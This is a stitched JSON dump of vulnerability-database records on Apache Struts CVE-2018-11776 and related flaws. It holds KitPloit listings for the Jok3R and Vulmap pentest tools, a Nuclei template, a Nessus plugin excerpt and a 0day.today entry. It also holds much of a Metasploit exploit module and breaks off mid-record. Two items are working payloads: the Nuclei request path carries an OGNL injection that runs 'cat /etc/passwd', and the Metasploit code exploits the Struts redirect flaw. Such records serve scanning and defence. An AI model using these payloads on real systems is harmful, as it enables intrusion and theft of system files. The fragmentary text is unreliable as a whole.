"HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2019-01-23T12:25:00", "type": "kitploit", "title": "Jok3R - Network And Web Pentest Framework", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-4344", "CVE-2011-1720", "CVE-2011-1764", "CVE-2012-1675", "CVE-2012-2122", "CVE-2014-6271", "CVE-2015-0240", "CVE-2015-4852", "CVE-2016-8735", "CVE-2017-10271", "CVE-2017-12617", "CVE-2017-3248", "CVE-2017-5638", "CVE-2017-7494", "CVE-2017-9798", "CVE-2017-9805", "CVE-2018-11776", "CVE-2018-2893"], "modified": "2019-01-23T12:25:12", "id": "KITPLOIT:5052987141331551837", "href": "http://www.kitploit.com/2019/01/jok3r-network-and-web-pentest-framework.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-02T20:50:17", "description": "[](<https://1.bp.blogspot.com/-KABdDCvkQwg/X-K8tydG2pI/AAAAAAAAUvc/dR5VJ69ZRm8wEgBjOLkEBdJ3-MPZhg0TQCNcBGAsYHQ/s678/vulmap.png>)\n\n \n\n\nVulmap is a vulnerability scanning tool that can scan for vulnerabilities in Web containers, Web servers, Web middleware, and CMS and other Web programs, and has vulnerability exploitation functions. Relevant testers can use vulmap to detect whether the target has a specific vulnerability, and can use the vulnerability exploitation function to verify whether the vulnerability actually exists.\n\nVulmap currently has vulnerability scanning (poc) and exploiting (exp) modes. Use \"-m\" to select which mode to use, and the default poc mode is the default. In poc mode, it also supports \"-f\" batch target scanning, \"-o\" File output results and other main functions, Other functions [Options](<https://github.com/zhzyker/vulmap/#options>) Or python3 vulmap.py -h, the Poc function will no longer be provided in the exploit exploit mode, but the exploit will be carried out directly, and the exploit result will be fed back to further verify whether the vulnerability exists and whether it can be exploited.\n\n**Try to use \"-a\" to establish target types to reduce false positives, such as \"-a solr\"**\n\n \n\n\n### Installation\n\nThe operating system must have python3, python3.7 or higher is recommended\n\n * Installation dependency\n \n \n pip3 install -r requirements.txt\n \n\n * Linux & MacOS & Windows\n \n \n python3 vulmap.py -u http://example.com\n \n\n \n\n\n### Options\n \n \n optional arguments:\n -h, --help show this help message and exit\n -u URL, --url URL Target URL (e.g. -u \"http://example.com\")\n -f FILE, --file FILE Select a target list file, and the url must be distinguished by lines (e.g. -f \"/home/user/list.txt\")\n -m MODE, --mode MODE The mode supports \"poc\" and \"exp\", you can omit this option, and enter poc mode by default\n -a APP, --app APP Specify a web app or cms (e.g. -a \"weblogic\"). default scan all\n -c CMD, --cmd CMD Custom RCE vuln command, Other than \"netstat -an\" and \"id\" can affect program judgment. defautl is \"netstat -an\"\n -v VULN, --vuln VULN Exploit, Specify the vuln number (e.g. -v \"CVE-2020-2729\")\n --list Displays a list of vulnerabilities that support scanning\n --debug Debug mode echo request and responses\n --delay DELAY Delay check time, default 0s\n --timeout TIMEOUT Scan timeout time, default 10s\n --output FILE Text mode export (e.g. -o \"result.txt\")\n \n\n \n\n\n### Examples\n\nTest all vulnerabilities poc mode\n \n \n python3 vulmap.py -u http://example.com\n \n\nFor RCE vuln, use the \"id\" command to test the vuln, because some linux does not have the \"netstat -an\" command\n \n \n python3 vulmap.py -u http://example.com -c \"id\"\n \n\nCheck <http://example.com> for struts2 vuln\n \n \n python3 vulmap.py -u http://example.com -a struts2\n \n \n \n python3 vulmap.py -u http://example.com -m poc -a struts2\n \n\nExploit the CVE-2019-2729 vuln of WebLogic on <http://example.com:7001>\n \n \n python3 vulmap.py -u http://example.com:7001 -v CVE-2019-2729\n \n \n \n python3 vulmap.py -u http://example.com:7001 -m exp -v CVE-2019-2729\n \n\nBatch scan URLs in list.txt\n \n \n python3 vulmap.py -f list.txt\n \n\nExport scan results to result.txt\n \n \n python3 vulmap.py -u http://example.com:7001 -o result.txt\n \n\n \n\n\n### Vulnerabilitys List\n\nVulmap supported vulnerabilities are as follows\n \n \n +-------------------+------------------+-----+-----+-------------------------------------------------------------+\n | Target type | Vuln Name | Poc | Exp | Impact Version && Vulnerability description |\n +-------------------+------------------+-----+-----+-------------------------------------------------------------+\n | Apache Shiro | CVE-2016-4437 | Y | Y | <= 1.2.4, shiro-550, rememberme deserialization rce |\n | Apache Solr | CVE-2017-12629 | Y | Y | < 7.1.0, runexecutablelistener rce & xxe, only rce is here |\n | Apache Solr | CVE-2019-0193 | Y | N | < 8.2.0, dataimporthandler module remote code execution |\n | Apache Solr | CVE-2019-17558 | Y | Y | 5.0.0 - 8.3.1, velocity response writer rce |\n | Apache Struts2 | S2-005 | Y | Y | 2.0.0 - 2.1.8.1, cve-2010-1870 parameters interceptor rce |\n | Apache Struts2 | S2-008 | Y | Y | 2.0.0 - 2.3.17, debugging interceptor rce |\n | Apache Struts2 | S2-009 | Y | Y | 2.1.0 - 2.3.1.1, cve-2011-3923 ognl interpreter rce |\n | Apache Struts2 | S2-013 | Y | Y | 2.0.0 - 2.3.14.1, cve-2013-1966 ognl interpreter rce |\n | Apache Struts2 | S2-015 | Y | Y | 2.0.0 - 2.3.14.2, cve-2013-2134 ognl interpreter rce |\n | Apache Struts2 | S2-016 | Y | Y | 2.0.0 - 2.3.15, cve-2013-2251 ognl interpreter rce |\n | Apache Struts2 | S2-029 | Y | Y | 2.0.0 - 2.3.24.1, ognl interpreter rce |\n | Apache Struts2 | S2-032 | Y | Y | 2.3.20-28, cve-2016-3081 rce can be performed via method |\n | Apache Struts2 | S2-045 | Y | Y | 2.3.5-31, 2.5.0-10, cve-2017-5638 jakarta multipart rce |\n | Apache Struts2 | S2-046 | Y | Y | 2.3.5-31, 2.5.0-10, cve-2017-5638 jakarta multipart rce |\n | Apache Struts2 | S2-048 | Y | Y | 2.3.x, cve-2017-9791 struts2-struts1-plugin rce |\n | Apache Struts2 | S2-052 | Y | Y | 2.1.2 - 2.3.33, 2.5 - 2.5.12 cve-2017-9805 rest plugin rce |\n | Apache Struts2 | S2-057 | Y | Y | 2.0.4 - 2.3.34, 2.5.0-2.5.16, cve-2018-11776 namespace rce |\n | Apache Struts2 | S2-059 | Y | Y | 2.0.0 - 2.5.20 cve-2019-0230 ognl interpreter rce |\n | Apache Struts2 | S2-devMode | Y | Y | 2.1.0 - 2.5.1, devmode remote code execution |\n | Apache Tomcat | Examples File | Y | N | all version, /examples/servlets/servlet/SessionExample |\n | Apache Tomcat | CVE-2017-12615 | Y | Y | 7.0.0 - 7.0.81, put method any files upload |\n | Apache Tomcat | CVE-2020-1938 | Y | Y | 6, 7 < 7.0.100, 8 < 8.5.51, 9 < 9.0.31 arbitrary file read |\n | Drupal | CVE-2018-7600 | Y | Y | 6.x, 7.x, 8.x, drupalgeddon2 remote code execution |\n | Drupal | CVE-2018-7602 | Y | Y | < 7.59, < 8.5.3 (except 8.4.8) drupalgeddon2 rce |\n | Drupal | CVE-2019-6340 | Y | Y | < 8.6.10, drupal core restful remote code execution |\n | Jenkins | CVE-2017-1000353 | Y | N | <= 2.56, LTS <= 2.46.1, jenkins-ci remote code execution |\n | Jenkins | CVE-2018-1000861 | Y | Y | <= 2.153, LTS <= 2.138.3, remote code execution |\n | Nexus OSS/Pro | CVE-2019-7238 | Y | Y | 3.6.2 - 3.14.0, remote code execution vulnerability |\n | Nexus OSS/Pro | CVE-2020-10199 | Y | Y | 3.x <= 3.21.1, remote code execution vulnerability |\n | Oracle Weblogic | CVE-2014-4210 | Y | N | 10.0.2 - 10.3.6, weblogic ssrf vulnerability |\n | Oracle Weblogic | CVE-2017-3506 | Y | Y | 10.3.6.0, 12.1.3.0, 12.2.1.0-2, weblogic wls-wsat rce |\n | Oracle Weblogic | CVE-2017-10271 | Y | Y | 10.3.6.0, 12.1.3.0, 12.2.1.1-2, weblogic wls-wsat rce |\n | Oracle Weblogic | CVE-2018-2894 | Y | Y | 12.1.3.0, 12.2.1.2-3, deserialization any file upload |\n | Oracle Weblogic | CVE-2019-2725 | Y | Y | 10.3.6.0, 12.1.3.0, weblogic wls9-async deserialization rce |\n | Oracle Weblogic | CVE-2019-2729 | Y | Y | 10.3.6.0, 12.1.3.0, 12.2.1.3 wls9-async deserialization rce |\n | Oracle Weblogic | CVE-2020-2551 | Y | N | 10.3.6.0, 12.1.3.0, 12.2.1.3-4, wlscore deserialization rce |\n | Oracle Weblogic | CVE-2020-2555 | Y | Y | 3.7.1.17, 12.1.3.0.0, 12.2.1.3-4.0, t3 deserialization rce |\n | Oracle Weblogic | CVE-2020-2883 | Y | Y | 10.3.6.0, 12.1.3.0, 12.2.1.3-4, iiop t3 deserialization rce |\n | Oracle Weblogic | CVE-2020-14882 | Y | Y | 10.3.6.0, 12.1.3.0, 12.2.1.3-4, 14.1.1.0.0, console rce |\n | RedHat JBoss | CVE-2010-0738 | Y | Y | 4.2.0 - 4.3.0, jmx-console deserialization any files upload |\n | RedHat JBoss | CVE-2010-1428 | Y | Y | 4.2.0 - 4.3.0, web-console deserialization any files upload |\n | RedHat JBoss | CVE-2015-7501 | Y | Y | 5.x, 6.x, jmxinvokerservlet deserialization any file upload |\n | ThinkPHP | CVE-2019-9082 | Y | Y | < 3.2.4, thinkphp rememberme deserialization rce |\n | ThinkPHP | CVE-2018-20062 | Y | Y | <= 5.0.23, 5.1.31, thinkphp rememberme deserialization rce |\n +-------------------+------------------+-----+-----+-------------------------------------------------------------+\n \n\n \n\n\n### Docker\n \n \n docker build -t vulmap/vulmap .\n docker run --rm -ti vulmap/vulmap python vulmap.py -u https://www.example.com\n\n \n\n\n \n \n\n\n**[Download Vulmap](<https://github.com/zhzyker/vulmap> \"Download Vulmap\" )**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-12-25T11:30:00", "type": "kitploit", "title": "Vulmap - Web Vulnerability Scanning And Verification Tools", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-0738", "CVE-2010-1428", "CVE-2010-1870", "CVE-2011-3923", "CVE-2013-1966", "CVE-2013-2134", "CVE-2013-2251", "CVE-2014-4210", "CVE-2015-7501", "CVE-2016-3081", "CVE-2016-4437", "CVE-2017-1000353", "CVE-2017-10271", "CVE-2017-12615", "CVE-2017-12629", "CVE-2017-3506", "CVE-2017-5638", "CVE-2017-9791", "CVE-2017-9805", "CVE-2018-1000861", "CVE-2018-11776", "CVE-2018-20062", "CVE-2018-2894", "CVE-2018-7600", "CVE-2018-7602", "CVE-2019-0193", "CVE-2019-0230", "CVE-2019-17558", "CVE-2019-2725", "CVE-2019-2729", "CVE-2019-6340", "CVE-2019-7238", "CVE-2019-9082", "CVE-2020-10199", "CVE-2020-14882", "CVE-2020-1938", "CVE-2020-2551", "CVE-2020-2555", "CVE-2020-2729", "CVE-2020-2883"], "modified": "2020-12-25T11:30:06", "id": "KITPLOIT:5420210148456420402", "href": "http://www.kitploit.com/2020/12/vulmap-web-vulnerability-scanning-and.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "nuclei": [{"lastseen": "2023-12-01T21:48:04", "description": "\n Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible remote code execution when alwaysSelectFullNamespace is true (either by user or a plugin like Convention Plugin) and then: results are used with no namespace and in same time, its upper package have no or wildcard namespace and similar to results, same possibility when using url tag which doesn''t have value and action set and in same time, its upper package have no or wildcard namespace.", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-04-04T16:21:34", "type": "nuclei", "title": "Apache Struts2 S2-057 - Remote Code Execution", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2020-04-04T16:21:34", "id": "NUCLEI:CVE-2018-11776", "href": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2018/CVE-2018-11776.yaml", "sourceData": "id: CVE-2018-11776\n\ninfo:\n name: Apache Struts2 S2-057 - Remote Code Execution\n author: pikpikcu\n severity: high\n description: |\n Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible remote code execution when alwaysSelectFullNamespace is true (either by user or a plugin like Convention Plugin) and then: results are used with no namespace and in same time, its upper package have no or wildcard namespace and similar to results, same possibility when using url tag which doesn''t have value and action set and in same time, its upper package have no or wildcard namespace.\n remediation: |\n Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts2.\n reference:\n - https://github.com/jas502n/St2-057\n - https://cwiki.apache.org/confluence/display/WW/S2-057\n - https://security.netapp.com/advisory/ntap-20180822-0001/\n - https://nvd.nist.gov/vuln/detail/CVE-2018-11776\n - http://packetstormsecurity.com/files/172830/Apache-Struts-Remote-Code-Execution.html\n classification:\n cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\n cvss-score: 8.1\n cve-id: CVE-2018-11776\n cwe-id: CWE-20\n epss-score: 0.97557\n epss-percentile: 0.99996\n cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*\n metadata:\n max-request: 1\n vendor: apache\n product: struts\n tags: packetstorm,cve,cve2018,apache,rce,struts,kev\n\nhttp:\n - method: GET\n path:\n - \"{{BaseURL}}/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action\"\n\n matchers-condition: and\n matchers:\n - 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Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Enterprise Manager Base Platform. Successful attacks of this vulnerability can result in takeover of Enterprise Manager Base Platform. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector:\n (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n (CVE-2020-9546)\n\n - Vulnerability in the Enterprise Manager Base Platform product of Oracle Enterprise Manager (component:\n Reporting Framework (Apache Struts 2)). Supported versions that are affected are 13.3.0.0 and 13.4.0.0.\n Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Enterprise Manager Base Platform. Successful attacks of this vulnerability can result in takeover of Enterprise Manager Base Platform. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector:\n (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).\n (CVE-2018-11776)\n\n - Vulnerability in the Enterprise Manager Base Platform product of Oracle Enterprise Manager (component:\n Application Service Level Mgmt (Apache Axis)). Supported versions that are affected are 12.1.0.5 and 13.3.0.0.\n Difficult to exploit vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Enterprise Manager Base Platform executes to compromise Enterprise Manager Base Platform. Successful attacks of this vulnerability can result in takeover of Enterprise Manager Base Platform. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).\n CVSS Vector:\n (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).\n (CVE-2019-0227)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.", "cvss3": {}, "published": "2020-07-16T00:00:00", "type": "nessus", "title": "Oracle Enterprise Manager Cloud Control (Jul 2020 CPU)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2018-11776", "CVE-2019-0227", "CVE-2019-12415", "CVE-2020-2982", "CVE-2020-9546"], "modified": "2023-04-25T00:00:00", "cpe": ["cpe:/a:oracle:enterprise_manager"], "id": "ORACLE_ENTERPRISE_MANAGER_JUL_2020_CPU.NASL", "href": "https://www.tenable.com/plugins/nessus/138555", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(138555);\n script_version(\"1.15\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/04/25\");\n\n script_cve_id(\n \"CVE-2018-11776\",\n \"CVE-2019-0227\",\n \"CVE-2019-12415\",\n \"CVE-2020-2982\",\n \"CVE-2020-9546\"\n );\n script_bugtraq_id(105125, 107867);\n script_xref(name:\"IAVA\", value:\"2020-A-0326\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/05/03\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2021-0004\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2021-0025\");\n\n script_name(english:\"Oracle Enterprise Manager Cloud Control (Jul 2020 CPU)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote host is affected by multiple vulnerabilities\");\n script_set_attribute(attribute:\"description\", value:\n\"The 13.3.0.0, 13.4.0.0, and 12.1.0.5 versions of Enterprise Manager Base Platform installed on the remote host are\naffected by multiple vulnerabilities as referenced in the July 2020 CPU advisory.\n\n - Vulnerability in the Enterprise Manager Base Platform\n product of Oracle Enterprise Manager (component:\n Enterprise Manager Install (jackson-databind)).\n Supported versions that are affected are 13.3.0.0 and\n 13.4.0.0. Easily exploitable vulnerability allows\n unauthenticated attacker with network access via HTTP to\n compromise Enterprise Manager Base Platform. Successful\n attacks of this vulnerability can result in takeover of\n Enterprise Manager Base Platform. CVSS 3.1 Base Score\n 9.8 (Confidentiality, Integrity and Availability\n impacts). CVSS Vector:\n (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n (CVE-2020-9546)\n\n - Vulnerability in the Enterprise Manager Base Platform\n product of Oracle Enterprise Manager (component:\n Reporting Framework (Apache Struts 2)). Supported\n versions that are affected are 13.3.0.0 and 13.4.0.0.\n Difficult to exploit vulnerability allows\n unauthenticated attacker with network access via HTTP to\n compromise Enterprise Manager Base Platform. Successful\n attacks of this vulnerability can result in takeover of\n Enterprise Manager Base Platform. CVSS 3.1 Base Score\n 8.1 (Confidentiality, Integrity and Availability\n impacts). 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"cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2018-08-24T00:00:00", "id": "1337DAY-ID-30956", "href": "https://0day.today/exploit/description/30956", "sourceData": "[CVEID]:CVE-2018-11776\r\n[PRODUCT]:Apache Struts\r\n[VERSION]:Apache Struts 2.3 to 2.3.34 and 2.5 to 2.5.16\r\n[PROBLEMTYPE]:Remote Code Execution\r\n[REFERENCES]:https://cwiki.apache.org/confluence/display/WW/S2-057\r\n[DESCRIPTION]:Man Yue Mo from the Semmle Security Research team was\r\nnoticed that Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16\r\nsuffer from possible Remote Code Execution when using results with no\r\nnamespace and in same time, its upper action(s) have no or wildcard\r\nnamespace. Same possibility when using url tag which doesnat have value\r\nand action set and in same time, its upper action(s) have no or wildcard\r\nnamespace.\n\n# 0day.today [2018-08-28] #", "sourceHref": "https://0day.today/exploit/30956", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-09-16T22:39:09", "description": "This Metasploit module exploits a remote code execution vulnerability in Apache Struts versions 2.3 through 2.3.4, and 2.5 through 2.5.16. Remote code execution can be performed via an endpoint that makes use of a redirect action. Native payloads will be converted to executables and dropped in the server's temp dir. If this fails, try a cmd/* payload, which won't have to write to the disk.", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2018-09-08T00:00:00", "type": "zdt", "title": "Apache Struts 2 Namespace Redirect OGNL Injection Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2018-09-08T00:00:00", "id": "1337DAY-ID-31056", "href": "https://0day.today/exploit/description/31056", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Remote\r\n Rank = ExcellentRanking\r\n\r\n include Msf::Exploit::Remote::HttpClient\r\n include Msf::Exploit::EXE\r\n\r\n # Eschewing CmdStager for now, since the use of '\\' and ';' are killing me\r\n #include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'Apache Struts 2 Namespace Redirect OGNL Injection',\r\n 'Description' => %q{\r\n This module exploits a remote code execution vulnerability in Apache Struts\r\n version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed\r\n via an endpoint that makes use of a redirect action.\r\n\r\n Native payloads will be converted to executables and dropped in the\r\n server's temp dir. If this fails, try a cmd/* payload, which won't\r\n have to write to the disk.\r\n },\r\n #TODO: Is that second paragraph above still accurate?\r\n 'Author' => [\r\n 'Man Yue Mo', # Discovery\r\n 'hook-s3c', # PoC\r\n 'asoto-r7', # Metasploit module\r\n 'wvu' # Metasploit module\r\n ],\r\n 'References' => [\r\n ['CVE', '2018-11776'],\r\n ['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'],\r\n ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'],\r\n ['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'],\r\n ],\r\n 'Privileged' => false,\r\n 'Targets' => [\r\n [\r\n 'Automatic detection', {\r\n 'Platform' => %w{ unix windows linux },\r\n 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],\r\n },\r\n ],\r\n [\r\n 'Windows', {\r\n 'Platform' => %w{ windows },\r\n 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],\r\n },\r\n ],\r\n [\r\n 'Linux', {\r\n 'Platform' => %w{ unix linux },\r\n 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],\r\n 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}\r\n },\r\n ],\r\n ],\r\n 'DisclosureDate' => 'Aug 22 2018', # Private disclosure = Apr 10 2018\r\n 'DefaultTarget' => 0))\r\n\r\n register_options(\r\n [\r\n Opt::RPORT(8080),\r\n OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),\r\n OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),\r\n OptString.new('ENABLE_STATIC', [ true, 'Enable \"allowStaticMethodAccess\" before executing OGNL', true ]),\r\n ]\r\n )\r\n register_advanced_options(\r\n [\r\n OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]),\r\n OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', \"X-#{rand_text_alpha(4)}\"] ),\r\n OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', \"#{rand_text_alpha(8)}\"] ),\r\n ]\r\n )\r\n end\r\n\r\n def check\r\n # METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable\r\n ognl = \"#_memberAccess['allowStaticMethodAccess']\"\r\n\r\n resp = send_struts_request(ognl)\r\n\r\n # If vulnerable, the server should return an HTTP 302 (Redirect)\r\n # and the 'Location' header should contain either 'true' or 'false'\r\n if resp && resp.headers['Location']\r\n output = resp.headers['Location']\r\n vprint_status(\"Redirected to: #{output}\")\r\n if (output.include? '/true/')\r\n print_status(\"Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'\")\r\n datastore['ENABLE_STATIC'] = false\r\n CheckCode::Vulnerable\r\n elsif (output.include? '/false/')\r\n print_status(\"Target requires enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'true'\")\r\n datastore['ENABLE_STATIC'] = true\r\n CheckCode::Vulnerable\r\n else\r\n CheckCode::Safe\r\n end\r\n elsif resp && resp.code==400\r\n # METHOD 2: Generate two random numbers, ask the target to add them together.\r\n # If it does, it's vulnerable.\r\n a = rand(10000)\r\n b = rand(10000)\r\n c = a+b\r\n\r\n ognl = \"#{a}+#{b}\"\r\n\r\n resp = send_struts_request(ognl)\r\n\r\n if resp.headers['Location'].include? c.to_s\r\n vprint_status(\"Redirected to: #{resp.headers['Location']}\")\r\n print_status(\"Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'\")\r\n datastore['ENABLE_STATIC'] = false\r\n CheckCode::Vulnerable\r\n else\r\n CheckCode::Safe\r\n end\r\n end\r\n end\r\n\r\n def exploit\r\n case payload.arch.first\r\n when ARCH_CMD\r\n resp = execute_command(payload.encoded)\r\n else\r\n resp = send_payload()\r\n end\r\n end\r\n\r\n def encode_ognl(ognl)\r\n # Check and fail if the command contains the follow bad characters:\r\n # ';' seems to terminates the OGNL statement\r\n # '/' causes the target to return an HTTP/400 error\r\n # '\\' causes the target to return an HTTP/400 error (sometimes?)\r\n # '\\r' ends the GET request prematurely\r\n # '\\n' ends the GET request prematurely\r\n\r\n # TODO: Make sure the following line is uncommented\r\n bad_chars = %w[; \\\\ \\r \\n] # and maybe '/'\r\n bad_chars.each do |c|\r\n if ognl.include? c\r\n print_error(\"Bad OGNL request: #{ognl}\")\r\n fail_with(Failure::BadConfig, \"OGNL request cannot contain a '#{c}'\")\r\n end\r\n end\r\n\r\n # The following list of characters *must* be encoded or ORNL will asplode\r\n encodable_chars = { \"%\": \"%25\", # Always do this one first. :-)\r\n \" \": \"%20\",\r\n \"\\\"\":\"%22\",\r\n \"#\": \"%23\",\r\n \"'\": \"%27\",\r\n \"<\": \"%3c\",\r\n \">\": \"%3e\",\r\n \"?\": \"%3f\",\r\n \"^\": \"%5e\",\r\n \"`\": \"%60\",\r\n \"{\": \"%7b\",\r\n \"|\": \"%7c\",\r\n \"}\": \"%7d\",\r\n #\"\\/\":\"%2f\", # Don't do this. Just leave it front-slashes in as normal.\r\n #\";\": \"%3b\", # Doesn't work. Anyone have a cool idea for a workaround?\r\n #\"\\\\\":\"%5c\", # Doesn't work. Anyone have a cool idea for a workaround?\r\n #\"\\\\\":\"%5c%5c\", # Doesn't work. Anyone have a cool idea for a workaround?\r\n }\r\n\r\n encodable_chars.each do |k,v|\r\n #ognl.gsub!(k,v) # TypeError wrong argument type Symbol (expected Regexp)\r\n ognl.gsub!(\"#{k}\",\"#{v}\")\r\n end\r\n 